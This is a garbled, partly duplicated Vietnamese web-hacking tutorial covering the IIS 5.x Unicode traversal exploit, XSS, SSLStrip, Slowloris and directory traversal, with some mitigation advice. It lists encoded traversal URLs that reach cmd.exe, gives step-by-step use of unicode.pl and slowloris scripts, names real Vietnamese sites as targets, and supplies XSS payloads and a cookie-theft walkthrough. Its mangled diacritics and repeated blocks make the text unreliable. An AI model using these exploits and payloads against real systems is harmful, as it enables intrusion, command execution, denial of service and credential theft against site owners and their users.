[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
SRC=httphackersorgxssjsgtltSCRIPTgtrdquo ltIMG SRC=javascriptalert(XSS)gtldquo ldquoltSCRIPTgtalert(31323233)ltSCRIPTgtrdquo
matilde hex value url ldquoltSCRIPTgtalert(ampx78ampx73ampx73)ltSCRIPTgtrdquo
matilde hex value htmlTham khảo trecircn httphackersorgxsshtml
Một tấn cocircng XSS chỉ thực hiện được khi gửi một trang web cho trigravenh duyệt web của nạn nhacircn coacute kegravem theo matilde script độc của kẻ tấn cocircng
Vigrave vậy caacutec người phaacutet triển web phải coacute chế độ lọc dữ liệu input hoặc web server phải coacute chế độ matilde hoacutea
Lọcbằng caacutech lọc caacutec kiacute tự meta (kiacute tự đặc biệt) được định nghĩa trong đặc tả của HTML
Matilde hoacuteaMatilde hoacutea phiacutea maacutey chủ lagrave một tiến trigravenh magrave tất cả nội dung phaacutet sinh động sẽ đi qua một hagravem matilde hoacutea nơi magrave caacutec thẻ script sẽ được thay thể bởi matilde của noacute
Yacute nghĩa c a đo n demo lagrave l y cookie c a ng i ủ ạ ấ ủ ườdugraveng thocircng qua l i xssỗ
B1Tigravem l i trecircn vieclambankcomỗ B2Attacker t o host đ nh s ng m 4 file sauạ ị ẵ ồ + indexhtml th c hi n scriptự ệ + luutxt l u cookie ư + xuliphp x lyacute cookie ử + xssjs l y cookieấ B3Attacker g i email t i ng i dugraveng trong đoacute s coacute ử ớ ườ ẽ
đ ng link đ n trang attackerườ ế
B4Người dugraveng đăng nhập vagraveo vieclambank B5Người dugraveng truy cập vagraveo email nhấn vagraveo
link sang trang attacker B6Attacker lấy cookie về vagrave sử dụng
Acunetix WVS (Web Vulnerability Scanner) lagrave cocircng cụ dừng để kiểm tra mức độ bảo mật của caacutec website noacute sẽ tự động kiểm tra caacutec ứng dụng Web để tigravem kiếm caacutec lỗ hổng bảo mật như SQL Injection hay Cross-Site Scriptinghellip
Noacute coacute thể queacutet bất cứ trang web nagraveo truy xuất bằng trigravenh duyệt web thocircng qua giao thức Http vagrave Https
Sau quaacute trigravenh thu thập thocircng tin WVS sẽ phacircn tiacutech từng trang nơi coacute dữ liệu đầu vagraveo từ đoacute sẽ đưa ra caacutec caacutech khai thaacutec khaacutec nhau trecircn mỗi trang tigravem được
Sau khi queacutet xong thigrave dữ liệu sẽ được lưu xuống database vagrave coacute thể xuất ra baacuteo caacuteo trong suốt quaacute trigravenh queacutet
High nguy hiểm nhất coacute nguy cơ tối đa trong việc hacker vagrave trộm cắp dữ liệu
Medium được gacircy ra bởi maacutey chủ dựa vagraveo sai soacutet trong việc cấu higravenh tạo điều kiện cho việc phaacute vỡ thacircm nhập vagraveo maacutey chủ vagrave thư mục
Low thường tạo ra do dữ liệu khocircng được matilde hoacutea khi gửi đi -gt tiết lộ đường dẫn thư mục
Information tiết lộ caacutec thocircng tin thocircng qua chuỗi tigravem kiếm
Site Crawler Target Finder Subdomain Scanner Blind SQL Injection HTTP Editor HTTP Sniffer HTTP Fuzzer Authentication Tester
SSLStrip Directory Traversal Attack Cross Site Scripting (XSS)
I Mocirc tảII Caacutech SSLStrip hoạt độngIII Caacutec bước thực hiệnIV Caacutech Phograveng chống SSLStrip
Cơ chế hoạt động của SSLStrip lagrave Attacker chạy Script viết bằng Python thigrave khi đoacute caacutec maacutey trong LAN sẽ đi ra Internet thocircng qua maacutey Attacker luacutec nagravey maacutey Attacker giống như Proxy
Caacutec connection nagraveo từ Client đi ra Internet theo dạng https thigrave bị SSLStrip drop chỉ cho đi theo dạng http Viacute dụ Client gotilde vagraveo URL httpsmailgooglecom thigrave khi nagravey SSLStrip noacute sẽ drop goacutei tin đoacute đồng thời baacuteo cho Client lagrave magravey cứ đi ra theo httpmailgooglecom vagrave trecircn Web Browser của client sẽ hiện ra 1 bảng thocircng baacuteo sai cert Nhưng client truy cập vagraveo gmail theo http ( user+pass được POST lecircn gmail theo dạng Plaintext =gt khi nagravey thigrave attacker dễ dagraveng lagravem việc với caacutec goacutei tin đi theo dạng http)
1 Tạo một Main In The Middle trecircn caacutec kết nối HTTP
2 Thay thế tất cả caacutec liecircn kết với những HTTPS bằng HTTP
3 Giao tiếp với maacutey nạn nhacircn với một kết nối HTTP cho tất cả caacutec kết nối HTTPS
4 Giao tiếp với server với liecircn kết HTTPS5 Tạo proxy giữa Client vagrave Server6 Thay thế caacutec higravenh ảnh như favicon bằng
những higravenh ảnh quen thuộc như caacutec khoacutea an toagraven
7 Luacutec nagravey Clinet bị đaacutenh cắp những thocircng tin quan trọng magrave khocircng biết
TargetUsingFacebook
Attacker sslstrip Proxyin the Middle
To Internet
HTTP
HTTPS
Attracter Web Server Client
Bước 1 Client gửi request tới web server với phương thức Để lấy những thocircng tin cần thiết
Bước 2Attracker đoacuteng vai trograve proxy ở giữa bắt được request vagrave chuyển sang phương thức https vagrave chuyển đến web server
Bước 3 web server sẽ gửi những reponse về cho attracker
Bước 4 Atrracker sẽ chuyển lại những nội dung vừa nhận từ web server tới client nhưng được attracker chỉnh sửa lại giống y như trang gửi về của web server
Luacutec nagravey người dugraveng cứ tưởng migravenh đang kết nối trực tiếp với Web server magrave migravenh đang thao taacutec
Mức độ nguy hiểm cao Caacutech tấn cocircng nagravey chưa thể dograve tigravem ra vagrave cho pheacutep tin tặc đaacutenh cắp mật khẩu hijack vagraveo caacutec phiecircn giao dịch ngacircn hagraveng trực tuyến hay thậm chiacute lagrave đưa ra một bản cập nhật trigravenh duyệt FireFox coacute điacutenh kegravem matilde độc
Khi truy cập website thigrave necircn gotilde theo dạng httpswebsite vagrave nhớ click vagraveo biểu tượng ổ khoacutea khi lướt web xem coacute phải certificate đoacute coacute phải lagrave của web đoacute ko hay lagrave cert giả mạo
Mocirc tả Demo Caacutech phograveng chống
Do Apache mở socket vagrave nhận data từ client (3-way handshakes đatilde hoagraven tất) cho mọi request đi vagraveo vagrave giới hạn mặt định max_client lagrave 150 Vigrave vậy khi slowloris gửi tới server những http request khocircng hoagraven chỉnh apache phải chờ cho http request nagravey time out mặt định lagrave 300s Nếu slowloris gửi liecircn tục caacutec request nagravey tới webserver thigrave chỉ trong vagravei giacircy apache đatilde đạt max_client từ chống phục vụ caacutec client khaacutec
Với giaacute trị TimeOut của apache thigrave noacute ấn định cho 3 điều chiacutenh
1 Thời gian cần thiết để nhận trọn vẹn một g i ửb ng ằ GET 2 Thời gian giữa caacutec goacutei tin TCP g i b ng ử ằ POST hoặc PUT (coacute chứa data) 3 Thời gian giữa caacutec cuacute TCP ACK trong quaacute trigravenh chuyển tải dữ liệu giữa client (browser) vagrave web server (apache)
Nếu apache khocircng dugraveng giaacute trị TimeOut chung như thế nagravey magrave gaacuten TimeOut cụ thể cho từng loại GET POST HEAD thậm chiacute cụ thể hơn cho từng ấn định như LimitRequestLine LimitRequestFieldSize thigrave TimeOut cho loại nagravey coacute thể được kiểm soaacutet chặt chẽ vagrave hữu lyacute hơn
Cơ chế xử lyacute một request của apache khaacute chặt chẽ noacute coacute đến 7 phase khaacutec nhau (unescapes URL strips parent and elements from the URI initial URI location walk translate_name Hook map_to_storage URI location walk Hook header_parser) Tuy nhiecircn đến phase parse header của một HTTP request thigrave noacute bị chết bởi slowloris vigrave apache hoagraven toagraven khocircng coacute cơ chế nagraveo kiểm tra nội dung của header cho đến khi noacute nhận được đầy đủ (dựa vagraveo CRLF character trecircn HTTP header) Socket do slowloris khởi tạo vẫn giữ nguyecircn ở đoacute vagrave apache vẫn chờ cho đến khi TimeOut
Yecircu c u ầ Dugraveng ph n m m ActivePerlầ ề Coacute file dosapchepl Vagraveo cmd gotilde lệnh
perl tecircn đường dẫn chứa file dosapchepl ndashdns tecircn trang web cần dos
Ruacutet ngắn TimeOut xuống đến mức tối thiểu thigrave slowloris trở necircn vocirc taacutec dụng nh ng s nh ư ẽ ảh ng t i caacutec rerequest khaacutec khocircng ph do ưở ớ ảslowloris gửi tới
Dugraveng iptables chặn những những ip gửi nhiều request liecircn tục ( Phương aacuten nagravey coacute thể dẫn đến việc chặn nhầm caacutec proxy)
Dugraveng haproxy để cho gửi những request hoagraven chỉnh tới apche
Dugraveng mod_antiloris giới hạn số lượng kết nối đồng thời của 1 địa chỉ ip giử những request tới
I Khaacutei niệmII Directory Traversal Attack theo ứng dụng
webIII Directory Traversal Attack theo WebserverIV Lagravem thế nagraveo để kiểm tra lỗ hổng Directory
Traversal V Ngăn chặn Directory Traversal AttackVI Taacutec hại
Kiểm soaacutet việc truy cập nội dung của 1 trang web lagrave rất quan trọng đối với 1 webserver
Directory Traversal Attack Path Traversal hay cograven được biết với một số tecircn khaacutec như ldquodot-dot-slashrdquo ldquodirectory traversalrdquordquodirectory clumbingrdquo vagrave ldquobacktrackingrdquo lagrave higravenh thức tấn cocircng truy cập đến những file vagrave thư mục magrave được lưu becircn ngoagravei thư mục webroot
Maacutey chủ web cung cấp hai cấp độ chiacutenh của cơ chế bảo mật Access Control Lists (ACLs) vagrave Root directory
Access Control Lists (ACL) được sử dụng trong quaacute trigravenh uỷ quyền
Noacute lagrave một danh saacutech magrave caacutec maacutey chủ web của quản trị viecircn sử dụng để chỉ những người dugraveng hoặc caacutec nhoacutem coacute thể truy cập sửa đổi hoặc thực thi caacutec tập tin cụ thể trecircn maacutey chủ cũng như quyền truy cập khaacutec
Caacutec thư mục gốc lagrave một thư mục cụ thể trecircn hệ thống tập tin maacutey chủ trong đoacute người sử dụng bị hạn chế
Người dugraveng khocircng thể truy cập bất cứ điều gigrave ở trecircn gốc nagravey
Viacute dụ caacutec thư mục gốc mặc định của IIS trecircn
Windows lagrave C Inetpub wwwroot vagrave với thiết lập nagravey một người dugraveng khocircng coacute
quyền truy cập vagraveo C Windows nhưng coacute quyền truy cập vagraveo C Inetpub wwwroot
vagrave bất kỳ thư mục khaacutec vagrave caacutec tập tin theo thư mục gốc (được cung cấp cho người dugraveng được xaacutec thực thocircng qua ACL)
Lỗ hổng nagravey coacute thể tồn tại hoặc trong caacutec phần mềm maacutey chủ web riecircng của migravenh hoặc trong matilde ứng dụng web
Để thực hiện một cuộc tấn cocircng theo cacircy thư mục tất cả caacutec nhu cầu của kẻ tấn cocircng lagrave một trigravenh duyệt web vagrave một số thocircng tin tigravem thấy trongbất kỳ tập tin vagrave thư mục mặc định trecircn hệ thống
Trong caacutec ứng dụng web với caacutec trang dynamic input thường nhận được từ caacutec trigravenh duyệt thocircng qua phương thức GET hoặc yecircu cầu POST Dưới đacircy lagrave một viacute dụ của một yecircu cầu HTTP GET URL
httptestwebarticlescomshowaspview=oldarchivehtml
Với URL nagravey trigravenh duyệt yecircu cầu hiển thị showasp động từ maacutey chủ vagrave cugraveng với noacute cũng sẽ gửi tham số ldquoView với giaacute trị của oldarchivehtml
Khi yecircu cầu nagravey được thực thi trecircn maacutey chủ web showasp tigravem file oldarchivehtm từ hệ thống tập tin của maacutey chủ gửi noacute trở lại trigravenh duyệt sau đoacute hiển thị cho người dugraveng
Hackers sẽ giả định rằng showasp coacute thể lấy caacutec tập tin từ hệ thống tập tin vagrave gửi URL tuỳ chỉnh
httptestwebarticlescomshowaspview=Windowssystemini
Trang web sẽ lấy file systemini từ hệ thống tập tin vagrave hiển thị noacute cho người dugraveng
Những biểu hiện hướng dẫn của hệ thống để đi một trong những thư mục cao hơn magrave thường được sử dụng để chứa caacutec file hệ thống
Kẻ tấn cocircng coacute thể đoaacuten được thư mục coacute bao nhiecircu cấp để tigravem thư mục Windows trecircn hệ thống nhưng đacircy lagrave một caacutech dễ dagraveng thực hiện bằng caacutech thử với caacutec cấp khaacutec nhau
Ngoagravei lỗ hổng trong caacutec matildeNgay cả bản thacircn webserver cũng coacute thể tạo điều kiện cho caacutec cuộc tấn cocircng Directory Traversal
Lỗi coacute thể phaacutet sinh do phần mềm web server hoặc trong một số file script coacute sẵn trecircn server
Lỗi đatilde được phaacutet sinh sẵn trong caacutec phiecircn bản của phần mềm werver web coacute những webserver trực tuyến magrave vẫn cograven sử dụng phiecircn bản cũ của IIS vagrave Apache magrave coacute thể mắc lỗi Directory Traversal
Bạn coacute thể coacute một số thư mục mặc định chứa những file Script nhạy cảm coacute thể khai thaacutec được cũng được hacker khai thaacutec
Viacute dụ một yecircu cầu URL lagravem cho việc sử dụng thư
mục script của IIS tới thư mục đi qua vagrave thực thi một lệnh coacute thể được
httpservercomscripts5cWindowsSystem32 cmdexec+dir+c cmdexe c + dir + c
ldquo 5crdquo lagrave 1 matilde trong URL yecircu cầu một webserver sử dụng để đại diện cho kiacute tự thường dugraveng Trong trường hợp nagravey ldquo 5crdquo đại diện cho caacutec kyacute tự
Những phiecircn bản mới của caacutec phần mềm webserver sẽ cấm vagrave khocircng co caacutec matilde nagravey hoạt độngTuy nhiecircn một số phiecircn bản cũ hơn khocircng lọc ra caacutec matilde trong thư mục gốc vagrave sẽ cho pheacutep hacker thực thi lệnh đoacute
Caacutec yecircu cầu sẽ trả lại cho người dugraveng một danh saacutech tất cả file trong ổ C bằng caacutech thực hiện lệnh dir c trong cmd
Trong quaacute trigravenh khai thaacutec k t n cocircng coacute th encode ho c ẻ ấ ể ặdouble encode s d ng 00(null) đ bypass filter magrave ử ụ ểWebsite đoacute aacutep d ngụ
2e2e2f mocirc tả cho 2e2e mocirc tả cho 2f mocirc tả cho 2e2e5c mocirc tả cho 2e2e mocirc tả cho 5c mocirc tả cho 252e252e255c mocirc tả cho 255c mocirc tả cho hellip
Đối với UTF-8 c0af mocirc tả cho c19c mocirc tả cho
Khi tiếp cận với một ứng dụng Web việc kiểm tra noacute coacute khả năng bị lỗi Path Traversal coacute thể được thực hiện bằng hai loại
+ Nếu kẻ tấn cocircng khocircng thể coacute source thigrave chuacuteng sẽ dugraveng spider crawler để thực hiện kiểm tra Website vagrave từ những kết quả magrave spider mang lại chuacuteng sẽ lần lượt kiểm tra caacutec biến đối với caacutec phương thức GET POST hoặc COOKIE magrave coacute khả năng bị lỗi
+ Nếu kẻ tấn cocircng coacute source code thigrave coacute thể tigravem kiếm những hagravem của những ngocircn ngữ lập trigravenh Web magrave coacute khả năng gacircy ra lỗi Path Traversal như
PHP include() include_once() require() require_once() fopen() readfile() JSPServlet javaioFile() javaioFileReader() ASP include file include virtual
Caacutech tốt nhất để kiểm tra xem trang web vagrave caacutec ứng dụng của bạn lagrave dễ bị tấn cocircng Directory Traversal lagrave sử dụng một Web Vulnerability Scanner
Web Vulnerability Scanner scan toagraven bộ trang web của bạn vagrave tự động kiểm tra lỗ hổng Directory Traversal Noacute sẽ thocircng baacuteo caacutec lỗi vagrave lagravem thế nagraveo để sửa chữa noacute
Trước hết đảm bảo bạn đatilde cagravei đặt phiecircn bản mới nhất của phần mềm Webserver (ISS Apache) bạn đang dugraveng vagrave chắc chắn rằng tất cả caacutec bản vaacute lỗi đatilde được aacutep dụng
kiểm tra biến cẩn thận (coacute thể aacutep dụng filter) khi sử dụng caacutec hagravem đatilde giới thiệu ở trecircn magrave coacute khả năng gacircy ra lỗi cho pheacutep kẻ tấn cocircng thực hiện Path Traversal
Với một hệ thống dễ bị Directory Traversal kẻ tấn cocircng coacute thể lagravem cho việc sử dụng lỗ hổng nagravey truy cập caacutec bộ phận khaacutec của hệ thống tập tin từ thư mục gốc
Điều nagravey coacute thể cung cấp cho những kẻ tấn cocircng khả năng xem những tập tin bị giới hạn hoặc thậm chiacute nguy hiểm hơn cho pheacutep kẻ tấn cocircng thực thi lệnh trecircn webservercoacute thể dẫn đến hacker coacute quyền đầy đủ trecircn hệ thống
Tuy nhiecircn một số filter như saustr_replace($_GET[help_file]) thigrave vẫn bị lỗi bởi lẽ kẻ tấn cocircng coacute thể sử dụng ldquohelliprdquo như thế sau khi qua code lọc ở trecircn noacute sẽ trở thagravenh ldquordquo
Rotilde ragraveng việc lọc như vậy vẫn khocircng triệt đểThay vagraveo đoacute caacutec bạn necircn sử dụng caacutec biểu thức chiacutenh để lọc tốt hơn eregi([]$_GET[help_file])
I KHAacuteI NIỆMII HOẠT ĐỘNG NHƯ THẾ NAgraveO III PHAacuteT HIỆN XSS BẰNG CAacuteCH NAgraveO IV CAacuteCH PHOgraveNG CHỐNG LỖI XSSV DEMO
IIS(Internet Information Service ) lagrave 1 ng d ng ứ ụwebserver mang th ng hi u c a Microsoftươ ệ ủ
IIS server v i caacutec phiecircn b n t tr c đ n phiecircn ớ ả ừ ướ ếb n 5x đ u coacute l i đ ta coacute th khai thaacutec m c đ nh ả ề ỗ ể ể ặ ịtiacutenh năng hit highlight c a IIS 5x b qua giai ủ ỏđo n ch ng th c c b n ạ ứ ự ơ ả
L i n m ph n l c IDA ISAPI (Internet Services ỗ ằ ở ầ ọApplication Programming Interface) noacute cho pheacutep m t maacutey tiacutenh t xa đ a l nh yecircu c u li t kecirc danh ộ ừ ư ệ ầ ệsaacutech file coacute trong h th ng maacuteyệ ố
Hacker coacute th s d ng th thu t đ n gi n lagrave g i ể ử ụ ủ ậ ơ ả ửcho maacutey ch m t kh i l ng x lyacute thocircng tin nhi u ủ ộ ố ượ ử ềh n kh năng c a noacute L ng thocircng tin ch a k p x ơ ả ủ ượ ư ị ửlyacute đoacute - v m t k thu t đ c g i lagrave ldquoshell coderdquo - coacute ề ặ ỹ ậ ượ ọth mang m t lo t caacutec cacircu l nh cho pheacutep k xacircm ể ộ ạ ệ ẻnh p ki m soaacutet maacutey tiacutenh n n nhacircn ậ ể ạ
httpwwwcanthogovvn httpwwwcantho1260net httphanhtrangsinhviennet httphauionlinecom httpdaynghedientucom httpsinhvienbinhdinhvn hellip Do l i nagravey đatilde l i th i necircn coacute th 1 s trang nagravey ỗ ỗ ờ ể ố
đatilde fix đ c l i trecircn ượ ỗ
Đ hack IIS server 5x ta dugraveng 2 cocircng c activeperl IE vagrave ể ụ1 exploit Unicodepl
Xaacutec đ nh trang web m c l i nagraveyị ắ ỗ S d ng telnet đ xaacutec đ nh trang Web ta t n cocircng coacute s ử ụ ể ị ấ ử
d ng IIS server 50 hay khocircng ụ
telnet lt tecircn trang Web gt 80 GET HEAD HTTP10
N u noacute khocircng baacuteo cho ta bi t trang web đang s d ng ch ng ế ế ử ụ ươtrigravenh gigrave thigrave caacutec b n hatildey thay đ i c ng 80 b ng caacutec c ng khaacutec ạ ổ ổ ằ ổnh 8080 81 8000 8001 vvhellip ư
Sau khi đatilde xaacutec đ nh đ c m c tiecircu caacutec b n vagraveo ị ượ ụ ạRun gt CMD gotilde
code perl unicodepl Host ( gotilde đ a ch server magrave caacutec b n mu n hack ) ị ỉ ạ ốPort 80 ( ho c 8080 81 8000 8001 tuỳ theo ặc ng magrave ta đatilde telnet tr c đoacute ) ổ ướ
Caacutec b n s th y b ng li t kecirc l i ( đatilde đ c l p trigravenh trong Unicodepl ) ạ ẽ ấ ả ệ ỗ ượ ậnh sau ư
[1] scriptsc0afwinntsystem32cmdexec+ [2]scriptsc19cwinntsystem32cmdexec+ [3] scriptsc1pcwinntsystem32cmdexec+ [4]scriptsc09vwinntsystem32cmdexec+ [5] scriptsc0qfwinntsystem32cmdexec+ [6] scriptsc18swinntsystem32cmdexec+ [7] scriptsc11cwinntsystem32cmdexec+ [8] scriptsc19cwinntsystem32cmdexec+ [9] scriptsc1afwinntsystem32cmdexec+ [10] scriptse080afwinntsystem32cmdexec+ [11]scriptsf08080afwinntsystem32cmdexec+ [12] scriptsf8808080afwinntsystem32cmdexec+ [13]scriptsfc80808080afwinntsystem32cmdexec+ [14]msadce080afe080afe080afwinntsystem32cmdexec+
[15]cgi-binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [16]samplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [17]iisadmpwdc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [18]_vti_cnfc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [19]_vti_binc0afc0afc0afc0afc0afwinntsystem32cmdexec+ [20]adsamplesc0afc0afc0afc0afc0afwinntsystem32cmdexec+
Caacutec b n s th y đ c t t c caacutec l i trecircn n u trang Web n n ạ ẽ ấ ượ ấ ả ỗ ế ạnhacircn b t t c nh ng l i nh v y n u server c a n n nhacircn ị ấ ả ữ ỗ ư ậ ế ủ ạch b l i th 13 vagrave 17 thigrave b ng k t qu ch xu t hi n dograveng ỉ ị ỗ ứ ả ế ả ỉ ấ ệth 13 vagrave 17 magrave thocirci ứVD
b ng k t qu cho ta bi t trang Web n n nhacircn b l i th 3 ả ế ả ế ạ ị ỗ ứvagrave 7 ta s vagraveo IE vagrave nh p đo n matilde t ng ng trecircn ẽ ậ ạ ươ ứAddress
httpwww4rumcomscriptsc1pcwinntsystem32cmdexec+ lt == l i dograveng th 3 ỗ ứho c ặhttpwww4rumcomscriptsc11cwinntsystem32cmdexec+ lt == l i dograveng th 7 ỗ ứ
VD Đ th y đ c n i dung C ta gotilde đ a ch sauể ấ ượ ộ ổ ị ỉ httpwwwtnhcomvn_vti_binc0af
c0afc0afc0afc0afwinntsystem32cmdexec+dir+c
Th ng thigrave source trang web đ t ườ ặ ởinetpubwwwroot
Microsoft khuy n caacuteo ng i dugraveng necircn nacircng c p ế ườ ấlecircn phiecircn b n IIS 60 v i kh năng b o m t t t ả ớ ả ả ậ ốh nơ
Dugrave v y nh ng Microsoft v n khocircng xem l i IIS ậ ư ẫ ỗ5x lagrave m t l i th c s vagrave khocircng phaacutet hagravenh b n ộ ỗ ự ự ảvaacute l i Thay vagraveo đoacute Microsoft l i đ a ra m t ỗ ạ ư ộh ng d n 6 b c nh m giuacutep ng i dugraveng gi m ướ ẫ ướ ằ ườ ảb t nguy c b t n cocircng ớ ơ ị ấ
Cross-Site Scripting (hay cograven được gọi tắt lagrave XSS ) lagrave một kĩ thuật tấn cocircng bằng caacutech chegraven vagraveo caacutec website động (ASP PHP CGI JSP ) những thẻ HTML hay những đoạn matilde script nguy hiểm coacute thể gacircy nguy hại cho những người sử dụng
Trong đoacute những đoạn matilde nguy hiểm đựơc chegraven vagraveo hầu hết được viết bằng caacutec Client-Site Script như JavaScript Jscriptvagrave cũng coacute thể lagrave cả caacutec thẻ HTML
Về cơ bản XSS cũng như SQL Injection noacutecũng lagrave caacutec yecircu cầu (request) được gửi từcaacutec maacutey client tới server nhằm chegraven vagraveo đoacutecaacutec thocircng tin vượt quaacute tầm kiểm soaacutet củaserverCoacute thể lagrave một request được gửi từ caacutec formdữ liệu hoặc cũng coacute thể đoacute chỉ lagrave caacutec URL
Attacker sẽ chegraven caacutec đoạn matilde vagraveo link của đường dẫn để thực thi trecircn trigravenh duyệt của người dugraveng dẫn đến việc mất cookies mật khẩu session hay fishing lừa đảo hay chegraven virus
Xss thường coacute dạng như sau httpwwwhcmuafeduvncontentsphpids=
ldquoltscriptgtalert(22222)ltscriptgtrdquoampur=admin Kết quả một thocircng baacuteo 22222
C1Dugraveng caacutec tool để queacutet caacutec trang webcaacutec tool hỗ trợ sẽ tigravem kiếm lỗi
C2Chegraven vagraveo caacutec đoạn script vagraveo caacutec form inputbao gồm 5 bước sau đacircy
B1Mở website cần khai thaacutec B2 Xaacutec định caacutec site coacute form để nhập dữ liệu
input như lagrave đăng nhậptigravem kiếmcomment nhập vagraveo một chuỗi textở đacircy nhập ldquoxssrdquo
B3Xem thocircng tin trả vềnếu chuacuteng ta thấy như sauldquoCaacutec chữ bạn tigravem khocircng thấy trong dữ liệurdquo lsquoTagravei khoản XSS khocircng chiacutenh xaacutecrsquo lsquoĐăng nhập với XSS khocircng thagravenh cocircngrsquohellip
B4Khi xaacutec định được vugraveng lỗi thigrave ta chegraven caacutec đoạn script để tiếp tục xaacutec định lỗi
VdltSCRIPTgtalert(xss)ltSCRIPTgt Nếu như kết quả trả về lagrave một thocircng
baacuteoxss thigrave chắc chắn trang đoacute bị lỗi xss Nếu khocircng hiện được thocircng baacuteo thigrave ta
viewsouce lecircn vagrave tigravem từ xss nếu coacute thigrave chắc chắn bị lỗi
B5 Lập kế hoạch tấn cocircng
B4Ta sẽ chegraven caacutec đoạn script coacute dạng như sau vagraveo thanh nhập địa chỉ hay caacutec form đăng nhập
Viacute dụxuất ra một thocircng baacuteo lagrave xss3 ldquoltSCRIPTgtalert(StringfromCharCode(888383))ltS
CRIPTgtrdquo ldquoltSCRIPTgtalert(xss)ltSCRIPTgtrdquo ldquoltSCRIPT
